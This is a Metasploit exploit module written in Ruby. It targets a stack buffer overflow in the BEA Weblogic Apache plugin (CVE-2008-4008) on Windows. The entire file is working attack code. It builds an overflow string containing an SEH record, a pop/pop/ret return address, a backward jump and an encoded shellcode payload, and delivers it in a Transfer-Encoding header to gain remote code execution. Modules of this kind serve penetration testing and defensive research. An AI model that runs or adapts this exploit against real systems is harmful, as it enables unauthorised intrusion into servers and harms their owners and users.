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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  HttpFingerprint = { :pattern => [ /Apache/ ] }
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack based buffer overflow in the BEA
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          Weblogic Apache plugin.  This vulnerability exists in the
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          error reporting for unknown Transfer-Encoding headers.
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          You may have to run this twice due to timing issues with handlers.
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        },
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        'Author' => 'pusscat',
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        'References' => [
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          [ 'CVE', '2008-4008' ],
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          [ 'OSVDB', '49283' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Privileged' => true,
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        'Platform' => 'win',
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x0d\x0a",
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          'StackAdjustment' => -1500,
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        },
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        'Targets' => [
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          [
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            'Windows Apache 2.2 version Universal',
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            {
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              'Ret' => 0x1001f4d6, # pop/pop/ret
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            }
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          ],
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        ],
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        'DisclosureDate' => '2008-09-09',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    sploit = rand_text_alphanumeric(5800)
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    sploit[5781, 8] = generate_seh_record(target.ret)
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    # Jump backward to the payload
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    sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
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    sploit[0, payload.encoded.length + 7] = make_nops(7) + payload.encoded
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    datastore['VHOST'] = 'localhost'
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    send_request_cgi(
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      {
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        'method' => 'POST',
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        'url' => '/index.jsp',
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        'data' => '',
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        'headers' =>
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          {
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            'Transfer-Encoding' => sploit
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          }
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      }
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    )
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    handler
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  end
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end
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